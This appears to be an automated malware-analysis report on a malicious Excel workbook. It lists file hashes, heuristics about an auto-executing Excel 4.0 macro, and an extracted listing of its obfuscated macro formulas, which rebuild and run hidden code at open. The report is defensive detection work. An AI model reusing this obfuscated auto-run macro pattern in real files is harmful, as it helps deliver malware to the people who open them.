Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9bb1f72d469a278e…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:37:52 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: a3263f4e77210bf0a0f39ed12d3049a9 SHA-1: 834ae3ff6c8db2de4f64be516186de2495992461 SHA-256: 9bb1f72d469a278e65adab8fd1df66dc0bdd883e0f618ad80f8f7a7fb72bfd4d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 macros, specifically an Auto_Open defined name. Heuristics indicate the use of dangerous formula APIs within the macro, suggesting an intent to execute arbitrary code. The macro sheet itself contains obfuscated strings and references to potentially dangerous functions, which are commonly used to download and execute further stages.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6683 bytes
SHA-256: 3463be3eaa53552ca2f5ad79a5b9a3daf4f3221574a2b271b9ff2bcc09cfb6cd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UpeVC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F176 
' 0018     23 LABEL : Cell Value, String Constant - BQCaiHAX len=0 
' 0018     20 LABEL : Cell Value, String Constant - eEVQq len=0 
' 0018     25 LABEL : Cell Value, String Constant - HQGCAcfLQY len=0 
' 0018     22 LABEL : Cell Value, String Constant - jdzJiLW len=0 
' 0018     20 LABEL : Cell Value, String Constant - KegFB len=0 
' 0018     27 LABEL : Cell Value, String Constant - KetkECeMCejT len=0 
' 0018     27 LABEL : Cell Value, String Constant - MeXtfTwATlzL len=0 
' 0018     26 LABEL : Cell Value, String Constant - OUlQkihHDKc len=0 
' 0018     27 LABEL : Cell Value, String Constant - oUwzDbdcLDGa len=0 
' 0018     26 LABEL : Cell Value, String Constant - PpYlFTcnQVq len=0 
' 0018     24 LABEL : Cell Value, String Constant - qlnzMnEcf len=0 
' 0018     25 LABEL : Cell Value, String Constant - rgaoNHUGir len=0 
' 0018     26 LABEL : Cell Value, String Constant - rhDeMzCKyYd len=0 
' 0018     22 LABEL : Cell Value, String Constant - TAYxDfk len=0 
' 0018     24 LABEL : Cell Value, String Constant - uyxoAGvFP len=0 
' 0018     26 LABEL : Cell Value, String Constant - VpbuytArSJj len=0 
' 0018     24 LABEL : Cell Value, String Constant - WNksmrFHr len=0 
' 0018     25 LABEL : Cell Value, String Constant - XfGKuxzTBb len=0 
' 0018     27 LABEL : Cell Value, String Constant - YivWTrdFJwlO len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZNaPPE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UpeVC,P44,"",-246.00000000000000000000
'  UpeVC,P45,"",-611.00000000000000000000
'  UpeVC,P46,"",849.00000000000000000000
'  UpeVC,P47,"",541.00000000000000000000
'  UpeVC,P48,"",201.00000000000000000000
'  UpeVC,P49,"",54.00000000000000000000
'  UpeVC,F81,"SET.NAME("jdzJiLW",0+VALUE("0"))",""
'  UpeVC,F86,"SET.NAME("rhDeMzCKyYd",jdzJiLW)",""
'  UpeVC,F88,"SET.NAME("MeXtfTwATlzL",jdzJiLW)",""
'  UpeVC,F93,"SET.NAME("KetkECeMCejT",COUNTA(oUwzDbdcLDGa))",""
'  UpeVC,F97,"SET.NAME("KegFB",COUNTA(PpYlFTcnQVq))",""
'  UpeVC,F100,[],""
'  UpeVC,F103,"SET.NAME("uyxoAGvFP","")",""
'  UpeVC,F108,"rhDeMzCKyYd",""
'  UpeVC,F112,"SET.NAME("XfGKuxzTBb",HLOOKUP("*",oUwzDbdcLDGa,rhDeMzCKyYd,FALSE))",""
'  UpeVC,F115,"rgaoNHUGir",""
'  UpeVC,F120,"SET.NAME("TAYxDfk",jdzJiLW)",""
'  UpeVC,F122,[],""
'  UpeVC,F127,"TAYxDfk",""
'  UpeVC,F130,"BQCaiHAX",""
'  UpeVC,F135,"qlnzMnEcf",""
'  UpeVC,F138,"WNksmrFHr",""
'  UpeVC,F140,"SET.NAME("OUlQkihHDKc",VALUE(HLOOKUP("*",PpYlFTcnQVq,WNksmrFHr,FALSE)))",""
'  UpeVC,F144,"eEVQq",""
'  UpeVC,F148,"uyxoAGvFP",""
'  UpeVC,F152,"MeXtfTwATlzL",""
'  UpeVC,F156,NEXT(),""
'  UpeVC,F158,"HQGCAcfLQY",""
'  UpeVC,F160,[],""
'  UpeVC,F165,"ZNaPPE",""
'  UpeVC,F169,NEXT(),""
'  UpeVC,F173,RETURN(),""
'  UpeVC,F196,"SET.NAME("YivWTrdFJwlO",F81)",""
'  UpeVC,F200,"oUwzDbdcLDGa",""
'  UpeVC,F204,"SET.NAME("PpYlFTcnQVq",R91C15)",""
'  UpeVC,F209,"SET.NAME("ZNaPPE",216)",""
'  UpeVC,F211,"SET.NAME("VpbuytArSJj",6)",""
'  UpeVC,F215,YivWTrdFJwlO(),""
'  UpeVC,F216,HALT(),""

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